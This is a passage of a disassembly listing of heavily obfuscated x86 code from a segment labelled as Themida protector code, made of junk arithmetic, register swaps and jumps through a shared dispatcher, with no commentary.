; ---------------------------------------------------------------------------


loc_552FA8:				; CODE XREF: Themida_:0055B528j
		push	225Ch
		mov	[esp], ecx
		push	ebx
		mov	ebx, 6DEB7EDCh
		push	edi
		mov	edi, 203621AEh
		mov	ecx, 186B0197h
		xor	ecx, edi
		pop	edi
		jmp	loc_555C37
; ---------------------------------------------------------------------------


loc_552FC9:				; CODE XREF: Themida_:00556590j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4A325661h
		xor	[esp+4], ecx
		pop	ecx
		pop	eax
		xor	eax, 4A325661h
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55E49A
; ---------------------------------------------------------------------------


loc_553000:				; CODE XREF: Themida_:0055A179j
		pop	ecx
		jmp	loc_55E5B1
; ---------------------------------------------------------------------------


loc_553006:				; CODE XREF: Themida_:00559944j
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, 0B4F7349h
		jmp	loc_55509C
; ---------------------------------------------------------------------------


loc_553019:				; CODE XREF: Themida_:005585BDj
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 726879CDh
		add	edi, ebx
		add	edi, 726879CDh
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55ED72
; ---------------------------------------------------------------------------
unk_55303F	db    0			; CODE XREF: Themida_:0055E88Cj
; ---------------------------------------------------------------------------
		fsub	dword ptr [esi+51h]
		mov	cl, 0C8h
		add	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 0E2h
		jmp	loc_554759
; ---------------------------------------------------------------------------


loc_553058:				; CODE XREF: Themida_:0055ED6Dj
		pop	esi
		sub	eax, 83511DEh
		sub	eax, ebx
		add	eax, 83511DEh
		sub	eax, 36262C1Bh
		add	eax, 18862AAEh
		push	7337h
		jmp	loc_5539BD
; ---------------------------------------------------------------------------


loc_553079:				; CODE XREF: Themida_:00555CC2j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	53ABh
		mov	[esp], edx
		jmp	loc_559B97
; ---------------------------------------------------------------------------


loc_5530A2:				; CODE XREF: Themida_:00558382j
		mov	edi, 0FFFFFFFFh
		add	esi, edi
		pop	edi
		jmp	loc_55F1FF
; ---------------------------------------------------------------------------


loc_5530AF:				; CODE XREF: Themida_:0055C6CAj
		xor	edi, esi
		push	ebx
		mov	ebx, 198F575Ah
		add	ebx, 0E14D7926h
		xor	edi, ebx
		pop	ebx
		xor	ebx, edi
		pop	edi
		sub	esp, 4
		jmp	loc_557C33
; ---------------------------------------------------------------------------


loc_5530CB:				; CODE XREF: Themida_:0055EFE6j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 62C41054h
		jmp	loc_5563AB
; ---------------------------------------------------------------------------


loc_5530DE:				; CODE XREF: Themida_:005574FFj
		not	dl
		add	dl, 0DFh
		sub	al, 0E1h
		sub	al, dl
		push	ebx
		mov	bh, 0ADh
		xor	bh, 0B1h
		shl	bh, 3
		dec	bh
		jmp	loc_55E7E0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_55A310
; ---------------------------------------------------------------------------


loc_553106:				; CODE XREF: Themida_:00555768j
		and	esi, 4B0359E8h
		jmp	loc_553F56
; ---------------------------------------------------------------------------


loc_553111:				; CODE XREF: Themida_:00556C6Fj
		div	cx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], ecx
		push	673Bh
		mov	[esp], ebp
		mov	ebp, 21C03CFFh
		mov	ecx, 0DE3FC303h
		add	ecx, 396272DFh
		jmp	loc_55EE43
; ---------------------------------------------------------------------------


loc_553143:				; CODE XREF: Themida_:0055BB28j
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_554842
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6F64h
		mov	[esp], edi
		push	esp
		jmp	loc_55D7EF
; ---------------------------------------------------------------------------


loc_553161:				; CODE XREF: Themida_:005560A9j
		push	edx
		mov	dl, 0CDh
		push	ebx
		mov	bl, 0AEh
		jmp	loc_5551E7
; ---------------------------------------------------------------------------


loc_55316C:				; CODE XREF: Themida_:0055E7F1j
		add	ebp, ecx
		jmp	loc_5561D1
; ---------------------------------------------------------------------------
unk_553173	db    0			; CODE XREF: Themida_:0055898Bj
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		shl	bl, 8
		push	ecx
		push	eax
		mov	ah, 64h
		jmp	loc_55930C
; ---------------------------------------------------------------------------


loc_553182:				; CODE XREF: Themida_:0055D004j
		mov	ah, 74h
		xor	dh, ah
		pop	ax
		sub	dh, 31h
		sub	al, 84h
		jmp	loc_5549A0
; ---------------------------------------------------------------------------


loc_553192:				; CODE XREF: Themida_:00556F87j
		xchg	eax, [esp]
		jmp	loc_554D02
; ---------------------------------------------------------------------------


loc_55319A:				; CODE XREF: Themida_:005553F2j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55582C
; ---------------------------------------------------------------------------


loc_5531AE:				; CODE XREF: Themida_:00554252j
		push	ebp
		mov	ebp, 32082F9Fh
		inc	ebp
		shl	ebp, 3
		xor	ebp, 3AB344EEh
		inc	ebp
		push	ecx
		mov	ecx, 1B6B4AFEh
		xor	ebp, ecx
		jmp	loc_557DA6
; ---------------------------------------------------------------------------


loc_5531CC:				; CODE XREF: Themida_:00559B63j
		add	dl, 9Fh
		pop	ebx
		jmp	loc_556780
; ---------------------------------------------------------------------------


loc_5531D5:				; CODE XREF: Themida_:005533DFj
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_554892
; ---------------------------------------------------------------------------


loc_5531E0:				; CODE XREF: Themida_:0055BB4Dj
		pop	eax
		add	edi, ebp
		add	edi, 15C47FBEh
		jmp	loc_556EB1
; ---------------------------------------------------------------------------


loc_5531EE:				; CODE XREF: Themida_:00554FACj
		push	3DBD2B51h
		jmp	loc_554C35
; ---------------------------------------------------------------------------


loc_5531F8:				; CODE XREF: Themida_:0055C2DFj
		pop	edx
		pop	ecx
		add	al, bl
		jmp	loc_553651
; ---------------------------------------------------------------------------
unk_553201	db    0			; CODE XREF: Themida_:0055BE95j
; ---------------------------------------------------------------------------
		clc
		sub	al, 0E8h
		jmp	loc_5534F3
; ---------------------------------------------------------------------------


loc_55320A:				; CODE XREF: Themida_:00553B09j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55CB89
; ---------------------------------------------------------------------------


loc_553218:				; CODE XREF: Themida_:00555097j
		mov	al, 82h
		shr	al, 4
		push	edx
		mov	dh, 0E5h
		jmp	loc_553D48
; ---------------------------------------------------------------------------


loc_553225:				; CODE XREF: Themida_:0055B010j
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_555247
; ---------------------------------------------------------------------------


loc_553235:				; CODE XREF: Themida_:005565B3j
		mov	ebp, esp
		push	4A5h
		jmp	loc_5555B0
; ---------------------------------------------------------------------------


loc_553241:				; CODE XREF: Themida_:0055C353j
		push	ebx
		pop	edx
		pop	ebx
		sub	edx, eax
		pop	eax
		add	[esp+4], edx
		jmp	loc_55EBB6
; ---------------------------------------------------------------------------


loc_553250:				; CODE XREF: Themida_:00556788j
		mov	bl, 37h
		push	ecx
		mov	ch, bl
		push	ebx
		mov	bh, ch
		mov	dl, bh
		pop	ebx
		jmp	loc_55E10A
; ---------------------------------------------------------------------------


loc_553260:				; CODE XREF: Themida_:00556D41j
		add	dword ptr [esp+4], 69E2B5Bh
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 69E2B5Bh
		sub	dword ptr [esp+4], 34BB2486h
		mov	ebx, [esp]
		push	edx
		jmp	loc_55C450
; ---------------------------------------------------------------------------


loc_553285:				; CODE XREF: Themida_:00557F51j
		sub	edx, 5D932353h
		add	edx, ebx
		add	edx, 5D932353h
		sub	edx, 733821A9h
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 3FFDh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5532CC:				; CODE XREF: Themida_:0055C55Bj
		dec	ecx
		xchg	ecx, edi
		push	ebx
		jmp	loc_55E0B7
; ---------------------------------------------------------------------------


loc_5532D5:				; CODE XREF: Themida_:00553929j
		mov	[esp], ecx
		push	ebp
		mov	ebp, 3F94551h
		mov	ecx, 1556E527h
		jmp	loc_557DF2
; ---------------------------------------------------------------------------


loc_5532E8:				; CODE XREF: Themida_:0055AC3Ej
		mov	[esp], ebp
		dec	dword ptr [esp]
		pop	ebp
		add	ebp, 49D53B03h
		xor	ebp, 400E9C40h
		push	1491h
		mov	[esp], edi
		push	ebp
		pop	edi
		push	edi
		jmp	loc_55E9E9
; ---------------------------------------------------------------------------


loc_55330B:				; CODE XREF: Themida_:0055AC2Aj
		add	esi, 4
		jmp	loc_55EC46
; ---------------------------------------------------------------------------


loc_553316:				; CODE XREF: Themida_:0055EF00j
		sub	eax, ebx
		add	eax, 74C8360Eh
		add	eax, 60C249A8h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	7E8Ah
		jmp	loc_55DBFF
; ---------------------------------------------------------------------------


loc_55333F:				; CODE XREF: Themida_:0055CDE4j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, edi
		sub	esi, 7EAA5004h
		jmp	loc_557738
; ---------------------------------------------------------------------------


loc_553357:				; CODE XREF: Themida_:00559EF3j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_555065
; ---------------------------------------------------------------------------


loc_553362:				; CODE XREF: Themida_:00558913j
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_55C1D4
; ---------------------------------------------------------------------------


loc_55336E:				; CODE XREF: Themida_:00554754j
		add	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_559D11
; ---------------------------------------------------------------------------


loc_55337F:				; CODE XREF: Themida_:0055481Bj
		push	ebp
		mov	ebp, 1
		or	[edi+1Ch], ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_55438B
; ---------------------------------------------------------------------------


loc_553391:				; CODE XREF: Themida_:0055C884j
		push	ebx
		mov	bl, 26h
		jmp	loc_55E360
; ---------------------------------------------------------------------------


loc_553399:				; CODE XREF: Themida_:00554A97j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55359E
; ---------------------------------------------------------------------------


loc_5533A2:				; CODE XREF: Themida_:005562C7j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5578AE
; ---------------------------------------------------------------------------


loc_5533BA:				; CODE XREF: Themida_:0055E1C0j
		sub	ebx, 732A0D50h
		jmp	loc_55EA7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_5533C5:				; CODE XREF: sub_5747D8-1ED37j
		sub	al, bl
		push	40A2h
		mov	[esp+2Ch+var_2C], ecx
		mov	ch, 0F3h
		jmp	loc_5557E8
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_5533D6:				; CODE XREF: Themida_:00554431j
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_5531D5
; ---------------------------------------------------------------------------


loc_5533E4:				; CODE XREF: Themida_:00556D84j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 69E3121Eh
		or	ebx, 20C801FBh
		push	edx
		mov	edx, 4AE64A91h
		jmp	loc_55634F
; ---------------------------------------------------------------------------


loc_5533FE:				; CODE XREF: Themida_:005534C9j
		push	esi
		push	2DED7B3Ch
		pop	esi
		jmp	loc_557B49
; ---------------------------------------------------------------------------


loc_55340A:				; CODE XREF: Themida_:00557ED5j
		push	esi
		push	3FCB4B42h
		pop	esi
		shr	esi, 8
		add	esi, 2ACE4D11h
		mov	edi, esi
		pop	esi
		xor	ecx, edi
		pop	edi
		push	ebx
		push	eax
		mov	eax, 20573BB1h
		mov	ebx, 5BC88D47h
		sub	ebx, eax
		pop	eax
		jmp	loc_55E6C7
; ---------------------------------------------------------------------------


loc_553434:				; CODE XREF: Themida_:0055670Dj
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_556C94
; ---------------------------------------------------------------------------


loc_55344C:				; CODE XREF: Themida_:00558E0Bj
		add	eax, 4
		jmp	loc_55C630
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_553456:				; CODE XREF: sub_5747D8-18337j
		jmp	dword ptr [edi+eax*4]
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5587CA
; ---------------------------------------------------------------------------


loc_553464:				; CODE XREF: Themida_:005568D8j
		or	esi, 2D2C448Eh
		jmp	loc_554D1E
; ---------------------------------------------------------------------------


loc_55346F:				; CODE XREF: Themida_:00559105j
		mov	edi, esp
		push	eax
		mov	eax, 6F28702Ch
		jmp	loc_558253
; ---------------------------------------------------------------------------


loc_55347C:				; CODE XREF: Themida_:0055C34Bj
		xor	edi, [esp]
		pop	esp
		xor	ebx, eax
		push	dword ptr [eax]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553489:				; CODE XREF: Themida_:0055A214j
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 39D42D78h
		jmp	loc_55BC2A
; ---------------------------------------------------------------------------


loc_55349F:				; CODE XREF: Themida_:00556B81j
		sub	ebx, 4DA8512Ah
		add	ebx, edx
		add	ebx, 4DA8512Ah
		add	ebx, 1B5D1968h
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 4C064C0Ch
		jmp	loc_558F0D
; ---------------------------------------------------------------------------


loc_5534C7:				; CODE XREF: Themida_:00553567j
		pop	ecx
		push	ebp
		jmp	loc_5533FE
; ---------------------------------------------------------------------------


loc_5534CE:				; CODE XREF: Themida_:005558E9j
		xchg	esi, edx
		push	esi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		pop	esi
		push	edx
		push	19AAh
		jmp	loc_5562B9
; ---------------------------------------------------------------------------


loc_5534E5:				; CODE XREF: Themida_:005592FBj
		pop	eax
		xor	cl, al
		pop	eax
		xor	cl, 14h
		mov	dh, cl
		jmp	loc_5535C3
; ---------------------------------------------------------------------------


loc_5534F3:				; CODE XREF: Themida_:00553205j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55D5CD
; ---------------------------------------------------------------------------


loc_5534FE:				; CODE XREF: Themida_:00558CADj
		push	eax
		pushf
		jmp	loc_55E5AC
; ---------------------------------------------------------------------------


loc_553505:				; CODE XREF: Themida_:0055A488j
		pop	esi
		add	esi, 55986DF6h
		sub	[edi+24h], esi
		pop	esi


loc_553510:				; CODE XREF: Themida_:005570E5j
		push	ebx
		mov	eax, [esp]
		jmp	loc_55E86F
; ---------------------------------------------------------------------------


loc_553519:				; CODE XREF: Themida_:005599C1j
		add	eax, esi
		add	eax, 65E60F32h
		pop	esi
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		add	edi, 4
		jmp	loc_55C345
; ---------------------------------------------------------------------------


loc_553541:				; CODE XREF: Themida_:0055B5CEj
		pop	esp
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edi
		push	40BFh
		jmp	loc_5560EF
; ---------------------------------------------------------------------------


loc_55355B:				; CODE XREF: Themida_:0055ABCDj
		add	eax, ecx
		sub	eax, 480F6706h
		sub	eax, 7237A48h
		jmp	loc_5534C7
; ---------------------------------------------------------------------------


loc_55356C:				; CODE XREF: Themida_:0055D953j
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movsx	cx, al
		push	small 585Ah
		mov	[esp], cx
		jmp	loc_556BE5
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5568B8
; ---------------------------------------------------------------------------


loc_553594:				; CODE XREF: Themida_:0055707Cj
		xor	ebx, edx
		mov	edx, [esp]
		jmp	loc_559606
; ---------------------------------------------------------------------------


loc_55359E:				; CODE XREF: Themida_:0055339Dj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55915C
; ---------------------------------------------------------------------------


loc_5535AF:				; CODE XREF: Themida_:00554931j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5535B4:				; CODE XREF: Themida_:0055572Cj
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_55BF81
; ---------------------------------------------------------------------------


loc_5535C3:				; CODE XREF: Themida_:005534EEj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55B4A2
; ---------------------------------------------------------------------------


loc_5535D1:				; CODE XREF: Themida_:0055C256j
		xchg	esi, [esp]
		pop	esp
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_557895
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_553A7B
; ---------------------------------------------------------------------------


loc_5535EF:				; CODE XREF: Themida_:005594D0j
		push	ebp
		jmp	loc_558555
; ---------------------------------------------------------------------------


loc_5535F5:				; CODE XREF: Themida_:0055AE4Fj
		pop	ecx
		inc	bh
		add	bh, 0D8h
		or	dl, bh
		pop	ebx
		or	dl, 6Dh
		push	ebx
		mov	bh, 4Ch
		neg	bh
		inc	bh
		add	bh, 0E0h
		add	dl, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55E9C6
; ---------------------------------------------------------------------------


loc_553618:				; CODE XREF: Themida_:00559EC8j
		not	eax
		not	eax
		dec	eax
		jmp	loc_5546CC
; ---------------------------------------------------------------------------


loc_553622:				; CODE XREF: Themida_:0055A501j
		mov	ebp, [esp]
		jmp	loc_553E3E
; ---------------------------------------------------------------------------


loc_55362A:				; CODE XREF: Themida_:0055D0E0j
		sub	eax, ebp
		jmp	loc_55C4C0
; ---------------------------------------------------------------------------


loc_553631:				; CODE XREF: Themida_:0055F12Cj
		inc	bh
		sub	bh, 93h
		sub	dl, 9Fh
		jmp	loc_559B61
; ---------------------------------------------------------------------------


loc_55363E:				; CODE XREF: Themida_:005590F9j
		sub	ebx, 3495727h
		jmp	loc_556EE3
; ---------------------------------------------------------------------------


loc_553649:				; CODE XREF: Themida_:0055E792j
		push	ebx
		mov	ebx, esp
		jmp	loc_554F53
; ---------------------------------------------------------------------------


loc_553651:				; CODE XREF: Themida_:005531FCj
		add	al, 9Dh
		push	small 7AEAh
		mov	[esp], cx
		mov	ch, 0EEh
		add	al, 13h
		sub	al, 8Fh
		push	bx
		mov	bh, 0B5h
		add	al, bh
		pop	bx
		jmp	loc_55D36E
; ---------------------------------------------------------------------------


loc_55366E:				; CODE XREF: Themida_:00559674j
		shr	esi, 2
		jmp	loc_55E211
; ---------------------------------------------------------------------------


loc_553676:				; CODE XREF: Themida_:005566B0j
		add	al, cl
		pop	ecx
		add	al, 77h
		jmp	loc_55B008
; ---------------------------------------------------------------------------


loc_553680:				; CODE XREF: Themida_:0055597Cj
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553694:				; CODE XREF: Themida_:005549F3j
		shr	edx, 1
		and	edx, 49AC5539h
		push	ebx
		jmp	loc_559207
; ---------------------------------------------------------------------------


loc_5536A2:				; CODE XREF: Themida_:00556A81j
		add	dl, 0A3h
		jmp	loc_55EB6E
; ---------------------------------------------------------------------------


loc_5536AA:				; CODE XREF: Themida_:005567C8j
		pop	ebx
		mov	esi, edi
		pop	edi
		and	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55DB5E
; ---------------------------------------------------------------------------


loc_5536BB:				; CODE XREF: Themida_:0055C39Fj
		shl	dl, 2
		inc	dl
		jmp	loc_555513
; ---------------------------------------------------------------------------


loc_5536C5:				; CODE XREF: Themida_:005552E2j
		pop	edi
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_5594CF
; ---------------------------------------------------------------------------


loc_5536E4:				; CODE XREF: Themida_:00557445j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	ecx, 1DE94327h
		pop	eax
		push	eax
		push	edx
		mov	edx, 80h
		mov	eax, edx
		pop	edx
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 13E577F9h
		add	ebp, edi
		add	ebp, 13E577F9h
		pop	edi
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_554EE2
; ---------------------------------------------------------------------------


loc_553746:				; CODE XREF: Themida_:0055846Bj
		pop	esp
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5554E3
; ---------------------------------------------------------------------------


loc_553758:				; CODE XREF: Themida_:0055D539j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55788C
; ---------------------------------------------------------------------------


loc_553769:				; CODE XREF: Themida_:00557A2Ej
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		jmp	loc_5557D9
; ---------------------------------------------------------------------------


loc_553776:				; CODE XREF: Themida_:0055B764j
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553782:				; CODE XREF: Themida_:00554F70j
		mov	eax, 38h
		sub	eax, 0C05BA5h
		sub	eax, 183A0FA3h
		add	eax, edi
		jmp	loc_555862
; ---------------------------------------------------------------------------


loc_553798:				; CODE XREF: Themida_:0055AF7Fj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557C01
; ---------------------------------------------------------------------------


loc_5537A3:				; CODE XREF: Themida_:005591AFj
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_55B112
; ---------------------------------------------------------------------------


loc_5537AF:				; CODE XREF: Themida_:0055453Fj
		push	eax
		push	edx
		mov	dl, 69h
		sub	dl, 1
		dec	dl
		shr	dl, 3
		sub	dl, 0E2h
		jmp	loc_55E0E5
; ---------------------------------------------------------------------------


loc_5537C3:				; CODE XREF: Themida_:0055C279j
		mov	esi, 38D340F8h
		jmp	loc_55BA8A
; ---------------------------------------------------------------------------


loc_5537CD:				; CODE XREF: Themida_:0055DDD2j
		sub	ebx, eax
		sub	ebx, 32EB2547h
		push	esi
		push	eax
		mov	eax, 2F8A60F5h
		add	eax, 41B96760h
		jmp	loc_557755
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		mov	ebx, 37A64C27h
		sub	eax, ebx
		jmp	loc_55EEF5
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	4A01h
		mov	[esp], edi
		jmp	loc_55EB22
; ---------------------------------------------------------------------------


loc_553804:				; CODE XREF: Themida_:0055AF25j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 54C93E76h
		add	ebx, 2BE36C7Bh
		push	edx
		mov	edx, 126149E1h
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55C815
; ---------------------------------------------------------------------------


loc_553826:				; CODE XREF: Themida_:0055586Cj
		mov	[esp], ecx
		mov	ecx, 0C05BA5h
		jmp	loc_55A372
; ---------------------------------------------------------------------------


loc_553833:				; CODE XREF: Themida_:005588EDj
		mov	[esp], ebx
		mov	ebx, 6F0B2367h
		add	ebx, 0FFFFFFFFh
		xor	ebx, 53516E0Eh
		add	eax, ebx
		pop	ebx
		sub	eax, esi
		sub	eax, 3C5A4D68h
		mov	esi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	ecx
		push	ebx
		mov	bl, 24h
		xchg	cl, bl
		not	cl
		jmp	loc_55E391
; ---------------------------------------------------------------------------


loc_553863:				; CODE XREF: Themida_:00556733j
		push	ecx
		jmp	loc_55C7B3
; ---------------------------------------------------------------------------


loc_553869:				; CODE XREF: Themida_:0055BCD7j
		sub	eax, 787AADh
		add	eax, ebp
		add	eax, 787AADh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5557AD
; ---------------------------------------------------------------------------


loc_553886:				; CODE XREF: Themida_:0055C1F9j
		shl	edx, 4
		xor	edx, 23F0745Dh
		add	edx, 0B0813F71h
		mov	ebx, edx
		pop	edx
		sub	dword ptr [esp+4], 5F09078Bh
		add	dword ptr [esp+4], 417304F8h
		sub	[esp+4], ebx
		push	ecx
		mov	ecx, 417304F8h
		sub	dword ptr [esp+8], 5BF9700Bh
		sub	[esp+8], ecx
		jmp	loc_55600A
; ---------------------------------------------------------------------------


loc_5538C3:				; CODE XREF: Themida_:0055E7BBj
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5538CF:				; CODE XREF: Themida_:0055C9C8j
		and	ecx, esi
		mov	esi, [esp]
		push	edx
		jmp	loc_552F11
; ---------------------------------------------------------------------------


loc_5538DA:				; CODE XREF: Themida_:0055795Ej
		pop	eax
		push	ebx
		push	1C197945h
		jmp	loc_557594
; ---------------------------------------------------------------------------


loc_5538E6:				; CODE XREF: Themida_:00558539j
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		jmp	loc_554B12
; ---------------------------------------------------------------------------


loc_5538F8:				; CODE XREF: Themida_:0055411Dj
		push	2E6B679Ch
		pop	ecx
		jmp	loc_55A506
; ---------------------------------------------------------------------------


loc_553903:				; CODE XREF: Themida_:0055D1FFj
		mov	ah, 0D0h
		add	dl, ah
		jmp	loc_556CD9
; ---------------------------------------------------------------------------


loc_55390C:				; CODE XREF: Themida_:0055E56Dj
		sub	esp, 4
		jmp	loc_55AF49
; ---------------------------------------------------------------------------


loc_553914:				; CODE XREF: Themida_:0055694Bj
		shr	edi, 2
		jmp	loc_555825
; ---------------------------------------------------------------------------


loc_55391C:				; CODE XREF: Themida_:0055D859j
		pop	ecx
		push	eax
		jmp	loc_557D94
; ---------------------------------------------------------------------------
		lodsd
		push	29C4h
		jmp	loc_5532D5
; ---------------------------------------------------------------------------


loc_55392E:				; CODE XREF: Themida_:0055B54Dj
		sub	eax, ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 6A9F0FFCh
		shr	esi, 5
		shr	esi, 5
		push	ebx
		jmp	loc_55DFBF
; ---------------------------------------------------------------------------


loc_553947:				; CODE XREF: Themida_:00558D21j
		push	4678h
		mov	[esp], esp
		jmp	loc_554466
; ---------------------------------------------------------------------------


loc_553954:				; CODE XREF: Themida_:0055F002j
		push	ebx
		mov	ebx, 2
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		cmp	cl, al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_553979:				; CODE XREF: Themida_:0055A316j
		mov	[esp], ebx
		jmp	loc_554381
; ---------------------------------------------------------------------------


loc_553981:				; CODE XREF: Themida_:00552F34j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_55E202
; ---------------------------------------------------------------------------


loc_5539B2:				; CODE XREF: Themida_:00554FD6j
		xor	ebx, 483F0F04h
		jmp	loc_55ECF0
; ---------------------------------------------------------------------------


loc_5539BD:				; CODE XREF: Themida_:00553074j
		mov	[esp], edx
		mov	edx, 5EA0170Ch
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	5C82h
		mov	[esp], ecx
		mov	ecx, 4
		sub	eax, 533C7788h
		jmp	loc_55CC54
; ---------------------------------------------------------------------------


loc_5539EA:				; CODE XREF: Themida_:0055A9CEj
		xchg	ecx, [esp]
		jmp	loc_554D32
; ---------------------------------------------------------------------------


loc_5539F2:				; CODE XREF: Themida_:0055ACA7j
		mov	esi, 800h
		and	ecx, esi
		push	dword ptr [esp]
		pop	esi
		push	ebx
		jmp	loc_559F29
; ---------------------------------------------------------------------------


loc_553A03:				; CODE XREF: Themida_:00553AF3j
		add	al, 7Ah
		push	small 4429h
		jmp	loc_5575EE
; ---------------------------------------------------------------------------


loc_553A0E:				; CODE XREF: Themida_:00557E72j
		mov	[esp], ebx
		mov	ebx, 4
		sub	edi, 788842DAh
		add	edi, ebx
		add	edi, 788842DAh
		jmp	loc_557AD4
; ---------------------------------------------------------------------------


